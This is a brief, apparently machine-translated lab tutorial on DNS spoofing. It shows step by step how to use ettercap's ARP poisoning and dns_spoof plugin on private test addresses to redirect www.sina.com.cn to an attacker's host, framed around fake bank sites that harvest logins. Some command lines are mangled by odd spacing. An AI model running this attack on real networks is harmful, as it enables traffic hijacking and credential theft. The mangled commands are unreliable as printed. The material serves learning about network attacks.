DNS spoofing attack
This article will explain in detail about DNS spoofing attacks, the content of the article is of high quality, so the editor will share it for you as a reference. I hope you will have some understanding of the relevant knowledge after reading this article.
DNS spoofing attack: the target sends its DNS request to the attacker, and then the attacker forges the DNS response and replaces the correct IP address with another IP. After that, you log in to the IP specified by the attacker, and the attacker has already arranged a fake website in this IP, such as a bank website, so as to trick users into entering the information they want, such as bank account number and password.
1. Use another kali linux as the attack target, check the host IP address: 192.168.127.211, gateway address: 192.168.127.2, normal execution: ping www.sina.com.cn can see the address resolved is: 183.232.24.222
2. Use kali to attack, check the attacker's ip address: 192.168.127.208, and modify the ettercap configuration file: vim / etc/ettercap/etter.dns
3. Add a new A record, point the www.sina.com.cn parsing to the attacker's host, and save the exit
4. Start the DNS spoofing attack: ettercap-I eth0-Tp-M arp:remote-P dns_spoof / 192.168.127.211 / / 192.168.127.2 /
5. After DNS spoofing, test ping www.sina.com.cn again and find that www.sina.com.cn parsing points to the attacker's host (192.168.127.208)
Successful execution of DNS spoofing attack, this is the end!
On DNS spoofing attacks to share here, I hope the above content can be of some help to you, can learn more knowledge. If you think the article is good, you can share it for more people to see.
